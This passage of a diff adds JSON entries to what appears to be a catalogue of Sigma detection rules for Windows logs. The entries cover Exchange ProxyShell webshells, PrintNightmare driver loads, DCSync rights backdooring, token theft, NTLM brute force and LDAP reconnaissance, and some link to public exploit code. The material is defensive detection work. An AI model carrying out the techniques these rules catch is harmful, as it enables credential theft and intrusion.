"falsepositive": [ + "Unknown" + ], + "filename": "win_codeintergiry_blocked_driver_load.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/wdormann/status/1590434950335320065", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ] + }, + "uuid": "e4be5675-4a53-426a-8c81-a8bb2387e947", + "value": "Code Integrity Blocked Driver Load" + }, + { + "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/14", + "falsepositive": [ + "Legitimate package hosted on a known and authorized remote location" + ], + "filename": "win_diagnosis_scripted_load_remote_diagcab.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1539679555908141061", + "https://twitter.com/j00sean/status/1537750439701225472", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746", + "value": "Loading Diagcab Package From Remote Path" + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "meta": { + "author": "Tim Burrell", + "creation_date": "2020/02/07", + "falsepositive": [ + "Unknown" + ], + "filename": "win_apt_gallium.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml" + ], + "tags": [ + "attack.credential_access", + "attack.command_and_control", + "attack.t1071" + ] + }, + "uuid": "3db10f25-2527-4b79-8d4b-471eb900ee29", + "value": "GALLIUM Artefacts" + }, + { + "description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/05/08", + "falsepositive": [ + "Unknown" + ], + "filename": "win_susp_dns_config.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", + "https://twitter.com/gentilkiwi/status/861641945944391680", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_susp_dns_config.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "cbe51394-cd93-4473-b555-edf0144952d9", + "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL" + }, + { + "description": "Detects plugged USB devices", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/11/09", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "win_usb_device_plugged.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", + "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1200" + ] + }, + "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4", + "value": "USB Device Plugged" + }, + { + "description": "A rule has been modified in the Windows Firewall exception list", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": "No established falsepositives", + "filename": "win_firewall_as_add_rule.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" + ], + "tags": "No established tags" + }, + "uuid": "cde0a575-7d3d-4a49-9817-b8004a7bf105", + "value": "Added Rule in Windows Firewall with Advanced Security" + }, + { + "description": "A rule has been modified in the Windows Firewall exception list", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": "No established falsepositives", + "filename": "win_firewall_as_change_rule.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml" + ], + "tags": "No established tags" + }, + "uuid": "5570c4d9-8fdd-4622-965b-403a5a101aa0", + "value": "Modified Rule in Windows Firewall with Advanced Security" + }, + { + "description": "A rule has been deleted in the Windows Firewall exception list.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": "No established falsepositives", + "filename": "win_firewall_as_delete_rule.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" + ], + "tags": "No established tags" + }, + "uuid": "c187c075-bb3e-4c62-b4fa-beae0ffc211f", + "value": "Delete Rule in Windows Firewall with Advanced Security" + }, + { + "description": "The Windows Firewall service failed to load Group Policy.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": "No established falsepositives", + "filename": "win_firewall_as_failed.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed.yml" + ], + "tags": "No established tags" + }, + "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39", + "value": "Failed to Load Policy in Windows Firewall with Advanced Security" + }, + { + "description": "Windows Firewall has been reset to its default configuration.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": "No established falsepositives", + "filename": "win_firewall_as_reset.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml" + ], + "tags": "No established tags" + }, + "uuid": "04b60639-39c0-412a-9fbe-e82499c881a3", + "value": "Reset to Default Configuration Windows Firewall with Advanced Security" + }, + { + "description": "Setting have been change in Windows Firewall", + "meta": { + "author": "frack113", + "creation_date": "2022/02/19", + "falsepositive": "No established falsepositives", + "filename": "win_firewall_as_setting_change.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" + ], + "tags": "No established tags" + }, + "uuid": "00bb5bd5-1379-4fcf-a965-a5b6f7478064", + "value": "Setting Change in Windows Firewall with Advanced Security" + }, + { + "description": "Detects possible Active Directory enumeration via LDAP", + "meta": { + "author": "Adeem Mawani", + "creation_date": "2021/06/22", + "falsepositive": "No established falsepositives", + "filename": "win_ldap_recon.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", + "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.002", + "attack.t1087.002", + "attack.t1482" + ] + }, + "uuid": "31d68132-4038-47c7-8f8e-635a39a7c174", + "value": "LDAP Reconnaissance / Active Directory Enumeration" + }, + { + "description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", + "meta": { + "author": "Florian Roth, @testanull", + "creation_date": "2021/11/18", + "falsepositive": [ + "Unknown, please report false positives via https://github.com/SigmaHQ/sigma/issues" + ], + "filename": "win_exchange_cve_2021_42321.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_cve_2021_42321.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210" + ] + }, + "uuid": "c92f1896-d1d2-43c3-92d5-7a5b35c217bb", + "value": "Possible Exploitation of Exchange RCE CVE-2021-42321" + }, + { + "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_exchange_proxylogon_oabvirtualdir.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ] + }, + "uuid": "550d3350-bb8a-4ff3-9533-2ba533f4a1c0", + "value": "ProxyLogon MSExchange OabVirtualDirectory" + }, + { + "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", + "meta": { + "author": "Max Altgelt", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_exchange_proxyshell_certificate_generation.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/GossiTheDog/status/1429175908905127938", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "b7bc7038-638b-4ffd-880c-292c692209ef", + "value": "Certificate Request Export to Exchange Webserver" + }, + { + "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", + "meta": { + "author": "Florian Roth, Rich Warren, Christian Burkard", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_exchange_proxyshell_mailbox_export.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "516376b4-05cd-4122-bae0-ad7641c38d48", + "value": "Mailbox Export to Exchange Webserver" + }, + { + "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/27", + "falsepositive": [ + "Unknown" + ], + "filename": "win_exchange_proxyshell_remove_mailbox_export.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ] + }, + "uuid": "09570ae5-889e-43ea-aac0-0e1221fb3d95", + "value": "Remove Exported Mailbox from Exchange Webserver" + }, + { + "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", + "meta": { + "author": "Jose Rodriguez @Cyb3rPandaH", + "creation_date": "2021/03/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_exchange_set_oabvirtualdirectory_externalurl.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/OTR_Community/status/1371053369071132675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "9db37458-4df2-46a5-95ab-307e7f29e675", + "value": "Exchange Set OabVirtualDirectory ExternalUrl Property" + }, + { + "description": "Detects the Installation of a Exchange Transport Agent", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2021/06/08", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "filename": "win_exchange_transportagent.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ] + }, + "uuid": "4fe151c2-ecf9-4fae-95ae-b88ec9c2fca6", + "value": "MSExchange Transport Agent Installation" + }, + { + "description": "Detects a failed installation of a Exchange Transport Agent", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2021/06/08", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "filename": "win_exchange_transportagent_failed.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ] + }, + "uuid": "c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa", + "value": "Failed MSExchange Transport Agent Installation" + }, + { + "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/06/08", + "falsepositive": [ + "Legacy hosts" + ], + "filename": "win_susp_ntlm_auth.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/JohnLaTwC/status/1004895028995477505", + "https://goo.gl/PsqrhT", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ] + }, + "uuid": "98c3bcf1-56f2-49dc-9d8d-c66cf190238b", + "value": "NTLM Logon" + }, + { + "description": "Detects common NTLM brute force device names", + "meta": { + "author": "Jerry Shockley '@jsh0x'", + "creation_date": "2022/02/02", + "falsepositive": [ + "Systems with names equal to the spoofed ones used by the brute force tools" + ], + "filename": "win_susp_ntlm_brute_force.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.varonis.com/blog/investigate-ntlm-brute-force", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "9c8acf1a-cbf9-4db6-b63c-74baabe03e59", + "value": "NTLM Brute Force" + }, + { + "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", + "meta": { + "author": "James Pemberton", + "creation_date": "2020/05/22", + "falsepositive": [ + "Host connections to valid domains, exclude these.", + "Host connections not using host FQDN.", + "Host connections to external legitimate domains." + ], + "filename": "win_susp_ntlm_rdp.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "n/a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "ce5678bb-b9aa-4fb5-be4b-e57f686256ad", + "value": "Potential Remote Desktop Connection to Non-Domain Host" + }, + { + "description": "Detects scenarios where an attacker enables the OpenSSH server and server starts to listening on SSH socket.", + "meta": { + "author": "mdecrevoisier", + "creation_date": "2022/10/25", + "falsepositive": [ + "Legitimate administrator activity" + ], + "filename": "win_sshd_openssh_server_listening_on_socket.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH", + "https://winaero.com/enable-openssh-server-windows-10/", + "https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse", + "https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx", + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/openssh/win_sshd_openssh_server_listening_on_socket.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.004" + ] + }, + "uuid": "3ce8e9a4-bc61-4c9b-8e69-d7e2492a8781", + "value": "OpenSSH Server Listening On Socket" + }, + { + "description": "Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675", + "meta": { + "author": "Florian Roth, KevTheHermit, fuzzyf10w, Tim Shelton", + "creation_date": "2021/06/30", + "falsepositive": [ + "Problems with printer drivers" + ], + "filename": "win_exploit_cve_2021_1675_printspooler.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://twitter.com/fuzzyf10w/status/1410202370835898371", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675" + ] + }, + "uuid": "4e64668a-4da1-49f5-a8df-9e2d5b866718", + "value": "Possible CVE-2021-1675 Print Spooler Exploitation" + }, + { + "description": "Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/01", + "falsepositive": [ + "Unknown" + ], + "filename": "win_exploit_cve_2021_1675_printspooler_operational.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/MalwareJake/status/1410421967463731200", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/printservice/win_exploit_cve_2021_1675_printspooler_operational.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "cve.2021.1675" + ] + }, + "uuid": "f34d942d-c8c4-4f1f-b196-22471aecf10a", + "value": "CVE-2021-1675 Print Spooler Exploitation" + }, + { + "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/08/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_aadhealth_mon_agent_regkey_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ] + }, + "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe", + "value": "Azure AD Health Monitoring Agent Registry Keys Access" + }, + { + "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS).\nInformation from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation).\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\\SOFTWARE\\Microsoft\\ADHealthAgent.\nMake sure you set the SACL to propagate to its sub-keys.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "creation_date": "2021/08/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_aadhealth_svc_agent_regkey_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://o365blog.com/post/hybridhealthagent/", + "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012" + ] + }, + "uuid": "1d2ab8ac-1a01-423b-9c39-001510eae8e8", + "value": "Azure AD Health Service Agents Registry Keys Access" + }, + { + "description": "This rule tries to detect token impersonation and theft. (Example: DuplicateToken(Ex) and ImpersonateLoggedOnUser with the LOGON32_LOGON_NEW_CREDENTIALS flag.)", + "meta": { + "author": "Michaela Adams, Zach Mathis", + "creation_date": "2022/11/06", + "falsepositive": [ + "Anti-Virus" + ], + "filename": "win_security_access_token_abuse.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1134/001/", + "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", + "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_access_token_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1134.001" + ] + }, + "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", + "value": "Access Token Abuse" + }, + { + "description": "Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer", + "meta": { + "author": "Samir Bousseaden; Roberto Rodriguez @Cyb3rWard0g; oscd.community; Tim Shelton; Maxence Fossat", + "creation_date": "2019/04/03", + "falsepositive": [ + "New Domain Controller computer account, check user SIDs within the value attribute of event 5136 and verify if it's a regular user or DC computer account." + ], + "filename": "win_security_account_backdoor_dcsync_rights.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/menasec1/status/1111556090137903104", + "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "2c99737c-585d-4431-b61a-c911d86ff32f", + "value": "Powerview Add-DomainObjectAcl DCSync AD Extend Right" + }, + { + "description": "Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs", + "meta": { + "author": "Samir Bousseaden", + "creation_date": "2019/04/03", + "falsepositive": [ + "If source account name is not an admin then its super suspicious" + ], + "filename": "win_security_account_discovery.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002" + ] + }, + "uuid": "35ba1d85-724d-42a3-889f-2e2362bcaf23", + "value": "AD Privileged Users or Groups Reconnaissance" + }, + { + "description": "Detects certificate creation with template allowing risk permission subject", + "meta": { + "author": "Orlinum , BlueDefenZer", + "creation_date": "2021/11/17", + "falsepositive": [ + "Administrator activity", + "Proxy SSL certificate with subject modification", + "Smart card enrollement" + ], + "filename": "win_security_adcs_certificate_template_configuration_vulnerability.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ] + }, + "uuid": "5ee3a654-372f-11ec-8d3d-0242ac130003", + "value": "ADCS Certificate Template Configuration Vulnerability" + }, + { + "description": "Detects certificate creation with template allowing risk permission subject and risky EKU", + "meta": { + "author": "Orlinum , BlueDefenZer", + "creation_date": "2021/11/17", + "falsepositive": [ + "Administrator activity", + "Proxy SSL certificate with subject modification", + "Smart card enrollement" + ], + "filename": "win_security_adcs_certificate_template_configuration_vulnerability_eku.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ] + }, + "uuid": "bfbd3291-de87-4b7c-88a2-d6a5deb28668", + "value": "ADCS Certificate Template Configuration Vulnerability with Risky EKU" + }, + { + "description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", + "meta": { + "author": "frack113", + "creation_date": "2022/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_add_remove_computer.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4741", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4743", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_add_remove_computer.yml" + ], + "tags": "No established tags" + }, + "uuid": "20d96d95-5a20-4cf1-a483-f3bda8a7c037", + "value": "Add or Remove Computer from DC" + }, + { + "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", + "meta": { + "author": "frack113", + "creation_date": "2022/10/14", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_admin_logon.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" + ], + "tags": "No established tags" + }, + "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb", + "value": "User with Privileges Logon" + }, + { + "description": "Detect remote login by Administrator user (depending on internal pattern).", + "meta": { + "author": "juju4", + "creation_date": "2017/10/29", + "falsepositive": [ + "Legitimate administrative activity." + ], + "filename": "win_security_admin_rdp_login.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://car.mitre.org/wiki/CAR-2016-04-005", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1078.001", + "attack.t1078.002", + "attack.t1078.003", + "car.2016-04-005" + ] + }, + "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", + "value": "Admin User Remote Logon" + }, + { + "description": "Detects access to $ADMIN share", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/04", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "win_security_admin_share_access.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "098d7118-55bc-4912-a836-dc6483a8d150", + "value": "Access to ADMIN$ Share" + }, + { + "description": "Detects WRITE_DAC access to a domain object", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/09/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_ad_object_writedac_access.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + 